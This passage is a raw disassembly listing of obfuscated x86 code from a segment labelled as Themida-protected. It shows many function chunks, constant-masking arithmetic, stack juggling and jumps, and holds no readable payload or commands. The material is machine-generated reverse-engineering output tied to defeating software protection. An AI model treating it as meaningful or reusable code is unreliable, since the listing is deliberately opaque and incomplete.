AT 0056BE87 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0056C133 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056CE6D SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0056DBEF SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0056E8DE SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0056FAF7 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0057163E SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00571D6B SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00571F45 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 005722B0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00572915 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00572EE4 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00573735 SIZE 0000002E BYTES ; FUNCTION CHUNK AT 0057412F SIZE 00000013 BYTES sub esp, 4 mov [esp+4+var_4], ecx mov ecx, 74C95DCBh sub ecx, 64245707h jmp loc_568011 sub_561541 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5620B7 loc_561557: ; CODE XREF: sub_5620B7+333Aj mov [esp+0], edx push eax jmp loc_560156 ; END OF FUNCTION CHUNK FOR sub_5620B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FD6F loc_561560: ; CODE XREF: sub_56FD6F-2CFAj pop eax jmp loc_56968C ; END OF FUNCTION CHUNK FOR sub_56FD6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574656 loc_561566: ; CODE XREF: sub_574656-C4AEj add edx, ebx pop ebx sub edx, 4 xchg edx, [esp+14h+var_14] mov esp, [esp+14h+var_14] mov [esp+0], ebx push esp pop ebx jmp loc_56B25B ; END OF FUNCTION CHUNK FOR sub_574656 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_56157F: ; CODE XREF: sub_5678CB+2BB6j sub ah, 0EFh jmp loc_57548D ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563DCB loc_561587: ; CODE XREF: sub_563DCB+29F4j mov bl, al jmp loc_562F5F ; END OF FUNCTION CHUNK FOR sub_563DCB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D855 loc_56158E: ; CODE XREF: sub_56D855-8084j mov esi, 0FB85D4F7h push ecx mov ecx, esi mov edi, ecx pop ecx pop esi add ebx, edi pop edi add eax, ebx jmp loc_56CE3A ; END OF FUNCTION CHUNK FOR sub_56D855 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5605BC loc_5615A4: ; CODE XREF: sub_5605BC+9687j xchg edx, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] push 5B65h mov [esp+10h+var_10], edx jmp loc_5700F3 ; END OF FUNCTION CHUNK FOR sub_5605BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DBB0 loc_5615B7: ; CODE XREF: sub_56DBB0+Ej add esp, 4 sub ebx, 6B3E5282h sub ebx, edx push edi jmp loc_56FE4D ; END OF FUNCTION CHUNK FOR sub_56DBB0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567C58 loc_5615C8: ; CODE XREF: sub_567C58+BA42j add esi, 4 add esi, 4 xchg esi, [esp+14h+var_14] pop esp xor edi, 15B37067h push 17F0h mov [esp+14h+var_14], eax mov eax, 190670CFh xor edi, eax push [esp+14h+var_14] jmp loc_56ADEF ; END OF FUNCTION CHUNK FOR sub_567C58 ; --------------------------------------------------------------------------- loc_5615F2: ; CODE XREF: Themida_:0056FACCj xor ebp, 5A683AF2h sub dword ptr [esp+4], 16ED07E4h add [esp+4], ebp add dword ptr [esp+4], 16ED07E4h pop ebp mov eax, [esp] add esp, 4 jmp loc_5609F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568CD2 loc_561618: ; CODE XREF: sub_568CD2-162Aj push 351343D9h pop eax jmp loc_561CCE ; END OF FUNCTION CHUNK FOR sub_568CD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5745B5 loc_561623: ; CODE XREF: sub_5745B5-F132j add al, 17h mov edx, [esp+4+var_4] add esp, 4 add al, bl push ebx push eax mov ah, 97h push edx mov dh, ah push ecx jmp loc_56F244 ; END OF FUNCTION CHUNK FOR sub_5745B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D855 loc_56163D: ; CODE XREF: sub_56D855+4973j pop eax add ebp, 4 xchg ebp, [esp+10h+var_10] jmp loc_56C910 ; END OF FUNCTION CHUNK FOR sub_56D855 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_575420 loc_56164C: ; CODE XREF: sub_575420-108EEj mov dl, cl pop ecx mov eax, [esp+10h+var_10] add esp, 4 jmp loc_564B65 ; END OF FUNCTION CHUNK FOR sub_575420 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564020 loc_56165D: ; CODE XREF: sub_564020-BD1j push edi mov edi, 7ED81C06h dec edi jmp loc_567DFB ; END OF FUNCTION CHUNK FOR sub_564020 ; --------------------------------------------------------------------------- loc_561669: ; CODE XREF: Themida_:0056E69Dj pop edx xchg ebx, [esp] jmp loc_571E51 ; --------------------------------------------------------------------------- loc_561672: ; CODE XREF: Themida_:00571A35j push 4CBB4D33h pop eax or eax, 78483191h not eax jmp loc_56EC27 ; --------------------------------------------------------------------------- loc_561684: ; CODE XREF: Themida_:00570B25j push 43FAh mov [esp], eax mov eax, 4 add edx, eax mov eax, [esp] add esp, 4 jmp loc_565F0C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56638C loc_56169E: ; CODE XREF: sub_56638C-16D1j mov [esp+0Ch+var_C], ebp mov ebp, 2 add esi, ebp jmp loc_569366 ; END OF FUNCTION CHUNK FOR sub_56638C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569193 loc_5616AD: ; CODE XREF: sub_569193+5576j xor edi, [esp+4+var_4] mov esp, [esp+4+var_4] push 397Fh jmp loc_56ABFA ; END OF FUNCTION CHUNK FOR sub_569193 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5734A7 loc_5616BD: ; CODE XREF: sub_5734A7-190Dj add edx, 561B375Ch and edx, 584C4D6Ch xor edx, 463B12A5h add edx, 30CE91E1h sub edi, edx jmp loc_572E0B ; END OF FUNCTION CHUNK FOR sub_5734A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572DD7 loc_5616DC: ; CODE XREF: sub_572DD7-111A5j sub esi, 4 xchg esi, [esp+8+var_8] jmp loc_572C8A ; END OF FUNCTION CHUNK FOR sub_572DD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CC46 loc_5616EA: ; CODE XREF: sub_56CC46-1692j sub ecx, ebx pop ebx jmp loc_570530 ; END OF FUNCTION CHUNK FOR sub_56CC46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574A21 loc_5616F2: ; CODE XREF: sub_574A21-B217j pop edi sub edx, 48A1E868h xchg ecx, edx push ecx not [esp+8+var_8] pop ecx xchg ecx, edx push eax mov eax, 0FFFFFFFFh add edx, eax pop eax inc edx and edx, 0F1C329Fh push 0BF5h mov [esp+8+var_8], ecx push ebx jmp loc_56E730 ; END OF FUNCTION CHUNK FOR sub_574A21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568E5C loc_561720: ; CODE XREF: sub_568E5C-36DAj mov edx, 331F51D7h sub edx, 73FA2B8Ah dec edx neg edx jmp loc_56A9BD ; END OF FUNCTION CHUNK FOR sub_568E5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D359 loc_561733: ; CODE XREF: sub_56D359-8D05j add [esp+14h+var_C], edi mov edi, [esp+14h+var_14] jmp loc_567710 ; END OF FUNCTION CHUNK FOR sub_56D359 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DA43 loc_56173F: ; CODE XREF: sub_56DA43+993j xor ebp, edi jmp loc_569FC0 ; END OF FUNCTION CHUNK FOR sub_56DA43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560CF1 loc_561746: ; CODE XREF: sub_560CF1+11DD0j mov [esp+8+var_8], edi mov eax, [esp+8+var_8] push edx push esp pop edx jmp loc_5619AF ; END OF FUNCTION CHUNK FOR sub_560CF1 ; --------------------------------------------------------------------------- loc_561754: ; CODE XREF: Themida_:0056DE53j mov ebx, [esp] jmp loc_570BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563819 loc_56175C: ; CODE XREF: sub_563819+107A2j add ebx, 4 jmp sub_574D8F ; END OF FUNCTION CHUNK FOR sub_563819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CC46 loc_561767: ; CODE XREF: sub_56CC46+77A0j and ebp, 6F1910CAh push edx jmp loc_560A84 ; END OF FUNCTION CHUNK FOR sub_56CC46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5605BC loc_561773: ; CODE XREF: sub_5605BC+6A58j neg ecx jmp loc_572D1C ; END OF FUNCTION CHUNK FOR sub_5605BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5643EB loc_56177A: ; CODE XREF: sub_5643EB+35A5j mov edx, 5EF860C2h jmp loc_570BD7 ; END OF FUNCTION CHUNK FOR sub_5643EB ; =============== S U B R O U T I N E ======================================= sub_561784 proc near ; DATA XREF: Themida_:0055FDD0o var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056E4B5 SIZE 00000008 BYTES push 79A1h push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp+8+var_8] pop esp sub esp, 4 mov [esp+8+var_8], esp add [esp+8+var_8], 4 pop [esp+8+var_8] push ecx mov ecx, 4 add [esp+8+var_4], ecx pop ecx pop [esp+4+var_4] sub esp, 4 jmp loc_56E4B5 sub_561784 endp ; --------------------------------------------------------------------------- loc_5617BF: ; CODE XREF: Themida_:005743F6j pop esp rol byte ptr [esp], cl pushf jmp loc_55FF9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5671E1 loc_5617C9: ; CODE XREF: sub_5671E1+C64Dj add edi, 2E0F2F9Eh jmp loc_573EE4 ; END OF FUNCTION CHUNK FOR sub_5671E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_5617D4: ; CODE XREF: sub_564D26+AEC0j add edx, 4F381B7Dh pop edi jmp loc_567294 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_5617E0: ; CODE XREF: sub_5685B2-4C28j push eax mov ah, 14h or dl, ah pop eax push 6D00h mov [esp+8+var_8], ebx mov bh, 0D4h push ecx mov cl, 4Fh jmp loc_5647D4 ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561541 loc_5617F8: ; CODE XREF: sub_561541-B6j add esp, 4 xchg eax, [esp+0Ch+var_C] jmp loc_56E8DE ; END OF FUNCTION CHUNK FOR sub_561541 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571C93 loc_561806: ; CODE XREF: sub_571C93-2BDFj push 1474h jmp loc_565945 ; END OF FUNCTION CHUNK FOR sub_571C93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566AF9 loc_561810: ; CODE XREF: sub_566AF9+2630j pop edx push esi mov esi, 3FFF3F8h sub edx, esi pop esi add ebp, edx push [esp+8+var_8] pop edx push edx jmp loc_564259 ; END OF FUNCTION CHUNK FOR sub_566AF9 ; =============== S U B R O U T I N E ======================================= sub_561826 proc near ; CODE XREF: sub_56F029+22j var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_2 = word ptr 6 ; FUNCTION CHUNK AT 0056550B SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005656AC SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056787E SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056E743 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056FE5F SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005749A3 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00575465 SIZE 00000005 BYTES sub esp, 2 mov [esp+4+var_4], ax mov bx, [esp+4+var_4] add esp, 2 pop ax xchg ax, cx not cx jmp loc_56787E sub_561826 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_561840: ; CODE XREF: Themida_:00571E08j sub ebx, 311227DDh sub ebx, 54D950A5h sub ebx, edi push eax jmp loc_5622AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5716A0 loc_561854: ; CODE XREF: sub_5716A0+1j mov ebx, 753D2399h xor edx, ebx pop ebx xor edx, eax push dword ptr [esp+0] pop eax push ebp push esp pop ebp add ebp, 4 push esi mov esi, 2FCC5691h sub esi, 21EE09F5h or esi, 1F290E8Bh xor esi, 1FFF4E9Bh add ebp, esi pop esi xchg ebp, [esp+4+var_4] pop esp jmp sub_572669 ; END OF FUNCTION CHUNK FOR sub_5716A0 ; --------------------------------------------------------------------------- loc_56188F: ; CODE XREF: Themida_:00570AEBj mov edx, 203E7D94h push esi mov esi, 3C1355h jmp loc_56B416 ; =============== S U B R O U T I N E ======================================= sub_56189F proc near ; CODE XREF: sub_575328-13A4j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005619D9 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005655A8 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0056A719 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056B2AD SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056D720 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 005703A8 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00570652 SIZE 00000005 BYTES sub esp, 4 mov [esp+4+var_4], edi mov edi, 5BFB3B1Eh jmp loc_56B2AD sub_56189F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574DC1 loc_5618B2: ; CODE XREF: sub_574DC1-E759j pop ebp sub eax, 37E73747h jmp sub_56B71F ; END OF FUNCTION CHUNK FOR sub_574DC1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AA2B loc_5618BD: ; CODE XREF: sub_56AA2B-A3FAj jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56AA2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB5E loc_5618C2: ; CODE XREF: sub_56AB5E-4AFFj jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56AB5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D464 loc_5618C7: ; CODE XREF: sub_56D464-CBCDj mov eax, [esp+8+var_8] push ebx mov ebx, esp push ebp mov ebp, 4 add ebx, ebp pop ebp add ebx, 4 xor ebx, [esp+0Ch+var_C] xor [esp+0Ch+var_C], ebx xor ebx, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] or [edi+1Ch], eax push dword ptr [esp+0] push [esp+4+var_4] jmp loc_573924 ; END OF FUNCTION CHUNK FOR sub_56D464 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5713A7 loc_5618F3: ; CODE XREF: sub_5713A7-A79Bj mov ecx, 41AB7105h neg ecx neg ecx shr ecx, 7 sub ecx, 0DACE3AB8h push esi mov esi, 41364FF5h jmp loc_5720DA ; END OF FUNCTION CHUNK FOR sub_5713A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572075 loc_561910: ; CODE XREF: sub_572075-BB37j xor [esp+0], edi xor edi, [esp+0] mov esp, [esp+0] push dword ptr [esp+0] mov eax, [esp+4+var_4] add esp, 4 jmp loc_562986 ; END OF FUNCTION CHUNK FOR sub_572075 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567CFE loc_561927: ; CODE XREF: sub_567CFE-7832j add ecx, 3D2682D3h xor ebp, ecx pop ecx jmp loc_572352 ; END OF FUNCTION CHUNK FOR sub_567CFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5715F0 loc_561935: ; CODE XREF: sub_5715F0-E0A0j add ebx, 4 add ebx, 2 push ebx jmp loc_56255D ; END OF FUNCTION CHUNK FOR sub_5715F0 ; --------------------------------------------------------------------------- loc_561947: ; CODE XREF: Themida_:00575428j mov esi, [esp] add esp, 4 add esi, 4 add esi, 4 xchg esi, [esp] pop esp add esp, 4 jmp loc_570BE4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57146D loc_561968: ; CODE XREF: sub_57146D-6775j add bl, dl pop dx push 18E3h mov [esp+6+var_8+2], edx jmp loc_56BC81 ; END OF FUNCTION CHUNK FOR sub_57146D ; =============== S U B R O U T I N E ======================================= sub_561979 proc near ; CODE XREF: sub_560CF1+CC4j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00563160 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00563850 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0056B1E4 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056C96D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056FB34 SIZE 0000000F BYTES sub esp, 4 mov [esp+4+var_4], ecx mov ecx, 4 add edx, ecx pop ecx xor edx, [esp+0] xor [esp+0], edx xor edx, [esp+0] pop esp mov edi, [esp-4+arg_0] add esp, 4 push 7CE5h mov [esp-4+arg_0], edx push 69C6h mov [esp+0], esi jmp loc_56C96D sub_561979 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560CF1 loc_5619AF: ; CODE XREF: sub_560CF1+A5Ej add edx, 4 jmp sub_561979 ; END OF FUNCTION CHUNK FOR sub_560CF1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B06D loc_5619BA: ; CODE XREF: sub_56B06D+45BFj pop edx push 7784h mov [esp+0], ebp sub esp, 4 push esp jmp loc_564185 ; END OF FUNCTION CHUNK FOR sub_56B06D ; --------------------------------------------------------------------------- loc_5619CC: ; CODE XREF: Themida_:0056C812j add esp, 4 pop dword ptr [eax] jmp loc_55FF9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56189F loc_5619D9: ; CODE XREF: sub_56189F+BE9Cj sub edi, 4276CE19h add eax, edi pop edi push 384Dh mov [esp+4+var_4], eax jmp loc_5655A8 ; END OF FUNCTION CHUNK FOR sub_56189F ; =============== S U B R O U T I N E ======================================= sub_5619EF proc near ; DATA XREF: Themida_:0055FD68o ; FUNCTION CHUNK AT 005714DB SIZE 00000005 BYTES mov sp, [esp+0] jmp loc_5714DB sub_5619EF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_5619F8: ; CODE XREF: sub_563A7F+62FEj push ax jmp loc_56CEAD ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56628B loc_5619FF: ; CODE XREF: sub_56628B+BFE0j mov [esp+4+var_4], ebp mov ebp, 0A9333C7h shr ebp, 7 sub esp, 4 mov [esp+8+var_8], esi mov esi, 62E41D66h jmp loc_562816 ; END OF FUNCTION CHUNK FOR sub_56628B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5653AD loc_561A1A: ; CODE XREF: sub_5653AD+BC51j mov eax, edx pop edx add eax, ebp pop ebp add ebx, 71343170h jmp loc_574128 ; END OF FUNCTION CHUNK FOR sub_5653AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_561A2B: ; CODE XREF: sub_5678CB-69CDj push edx mov dl, 0Dh jmp loc_566E1F ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A7FB loc_561A33: ; CODE XREF: sub_56A7FB+9E56j mov [esp+8+var_8], ebx mov bl, 0F5h mov al, bl pop ebx jmp loc_56FA76 ; END OF FUNCTION CHUNK FOR sub_56A7FB ; --------------------------------------------------------------------------- loc_561A40: ; CODE XREF: Themida_:0057032Bj pop esp jmp loc_5630AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D3AF loc_561A46: ; CODE XREF: sub_56D3AF+1BFCj mov [esp+0Ch+var_C], edx mov edx, 3A6D035Dh sub esi, edx mov edx, [esp+0Ch+var_C] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+10h+var_10] pop esp jmp loc_57160C ; END OF FUNCTION CHUNK FOR sub_56D3AF ; --------------------------------------------------------------------------- loc_561A6B: ; CODE XREF: Themida_:00570EF1j add esi, ebp pop ebp not esi xor esi, 0FA2618A5h sub esi, 78210541h shr esi, 2 or esi, 65DA1A8Ah push eax mov eax, 677159CBh add esi, eax mov eax, [esp] add esp, 4 jmp loc_5735EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567CFE loc_561A9B: ; CODE XREF: sub_567CFE+A66Aj add ebp, eax pop eax xor ebp, 27FA6B51h mov ebx, ebp pop ebp jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_567CFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565849 loc_561AAC: ; CODE XREF: sub_565849+C620j pop esp mov [esp+4+var_4], ebx mov ebx, esp jmp loc_572826 ; END OF FUNCTION CHUNK FOR sub_565849 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_561AB7: ; CODE XREF: sub_5685B2-4DD2j pop ebp xor ebx, edx pop edx jmp loc_56B336 ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- loc_561AC0: ; CODE XREF: Themida_:0056F88Ej push esp pop eax push edx jmp loc_57031B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570E81 loc_561AC8: ; CODE XREF: sub_570E81+4487j mov ecx, 4BC4D915h add esi, ecx pop ecx and edi, esi pop esi jmp loc_57081E ; END OF FUNCTION CHUNK FOR sub_570E81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571890 loc_561AD8: ; CODE XREF: sub_571890-23ADj mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp+0Ch+var_C] pop esp jmp loc_574EE8 ; END OF FUNCTION CHUNK FOR sub_571890 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56264C loc_561AEF: ; CODE XREF: sub_56264C+720Ej sub eax, 24217B3Ch sub eax, 49081E4Fh sub eax, ebx push ecx mov ecx, 49081E4Fh add eax, ecx pop ecx jmp loc_56B2B4 ; END OF FUNCTION CHUNK FOR sub_56264C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5642C7 loc_561B09: ; CODE XREF: sub_5642C7-363Bj and ebp, 147F3694h xchg edi, ebp not edi xchg edi, ebp jmp sub_56A608 ; END OF FUNCTION CHUNK FOR sub_5642C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574F16 loc_561B1A: ; CODE XREF: sub_574F16-E9FDj mov ecx, [esp+0Ch+var_E+2] add esp, 4 mov cl, bl pop ebx jmp sub_56ADD8 ; END OF FUNCTION CHUNK FOR sub_574F16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_561B28: ; CODE XREF: sub_5685B2-77FEj add esp, 4 add ah, 10h jmp loc_5665FC ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572669 loc_561B33: ; CODE XREF: sub_572669-AC14j push 40A0h mov [esp+4+var_4], edx mov edx, 34C17704h push ecx mov ecx, 139D4989h push edi push ebx mov ebx, 58D47706h mov edi, ebx pop ebx jmp sub_566078 ; END OF FUNCTION CHUNK FOR sub_572669 ; =============== S U B R O U T I N E ======================================= sub_561B55 proc near ; CODE XREF: sub_562676+D587j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00561E89 SIZE 00000031 BYTES ; FUNCTION CHUNK AT 00572FAE SIZE 0000003A BYTES sub esp, 4 mov [esp+4+var_4], esp add [esp+4+var_4], 4 pop ebp add ebp, 4 push esi push edx jmp loc_561E89 sub_561B55 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DD54 loc_561B70: ; CODE XREF: sub_56DD54+16BDj or ebp, 14AF45B8h shr ebp, 2 or ebp, 5ED715F9h sub ebp, 29AF68A3h xor edx, ebp jmp loc_565202 ; END OF FUNCTION CHUNK FOR sub_56DD54 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_561B8C: ; CODE XREF: sub_563A7F+6B99j pop ecx pop ebx push edx mov dh, 14h xor dh, 0E5h and dh, 0C6h jmp loc_570CF4 ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57236D loc_561B9C: ; CODE XREF: sub_57236D-48DBj xor [esp+0], ecx jmp loc_5666E4 ; END OF FUNCTION CHUNK FOR sub_57236D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57549C loc_561BA4: ; CODE XREF: sub_57549C-71Fj pop esp mov [esp+8+var_8], edx push esp jmp loc_56ED47 ; END OF FUNCTION CHUNK FOR sub_57549C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_561BAE: ; CODE XREF: sub_574304-7A86j add edx, eax pop eax xor edx, 4B2472Fh mov ebp, edx pop edx add ebx, 3AD63844h jmp loc_56D554 ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B577 loc_561BC5: ; CODE XREF: sub_56B577+4D3Fj xor edx, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] mov [esp+0], eax mov eax, 4 sub ebp, 1F8E7AF4h sub ebp, 6BE449Bh add ebp, 35346307h jmp loc_56B5C9 ; END OF FUNCTION CHUNK FOR sub_56B577 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E126 loc_561BEA: ; CODE XREF: sub_56E126+2AD0j push esi jmp loc_56D5FE ; END OF FUNCTION CHUNK FOR sub_56E126 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563207 loc_561BF0: ; CODE XREF: sub_563207+685Ej mov ebx, 4 add esi, ebx jmp loc_56DE7F ; END OF FUNCTION CHUNK FOR sub_563207 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570E81 loc_561BFC: ; CODE XREF: sub_570E81-9D4Cj mov esi, 43286BD6h sub esi, 1ADC5122h neg esi shl esi, 8 inc esi push ebx mov ebx, 45F23952h dec ebx jmp loc_5687BC ; END OF FUNCTION CHUNK FOR sub_570E81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_561C19: ; CODE XREF: sub_563A7F+2EA8j mov ecx, [esp+0Eh+var_10+2] jmp loc_564B78 ; END OF FUNCTION CHUNK FOR sub_563A7F ; =============== S U B R O U T I N E ======================================= sub_561C21 proc near ; CODE XREF: sub_56671D-355j var_2 = byte ptr -2 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00569E33 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0056A5D6 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0056EC45 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 00574BF5 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00575150 SIZE 00000010 BYTES push ebx push edx mov dl, 0C0h mov bh, dl jmp loc_569E33 sub_561C21 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572DD7 loc_561C2C: ; CODE XREF: sub_572DD7-3366j add esi, 4 jmp loc_5616DC ; END OF FUNCTION CHUNK FOR sub_572DD7 ; --------------------------------------------------------------------------- loc_561C37: ; CODE XREF: Themida_:0056CF6Dj inc edi push ebp mov ebp, 6A47B60h not ebp jmp loc_5720E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57549C loc_561C45: ; CODE XREF: sub_57549C-14B5j mov edx, 4CA0596Eh sub edi, edx jmp loc_571652 ; END OF FUNCTION CHUNK FOR sub_57549C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB51 loc_561C51: ; CODE XREF: sub_56AB51+8j mov ecx, 0C336862h shl ecx, 4 push esi mov esi, 6728456Bh and esi, 6304699Ch sub esi, 97E55A9h xor esi, 9AB76D43h sub ecx, esi pop esi add eax, ecx pop ecx push 0A6Ah mov [esp+8+var_8], edi mov edi, 2 add eax, 6DC83961h add eax, edi push esi mov esi, 33B03255h neg esi xor esi, 0A187F4CAh sub esp, 4 mov [esp+10h+var_10], ecx mov ecx, 476B4B30h jmp loc_563D91 ; END OF FUNCTION CHUNK FOR sub_56AB51 ; 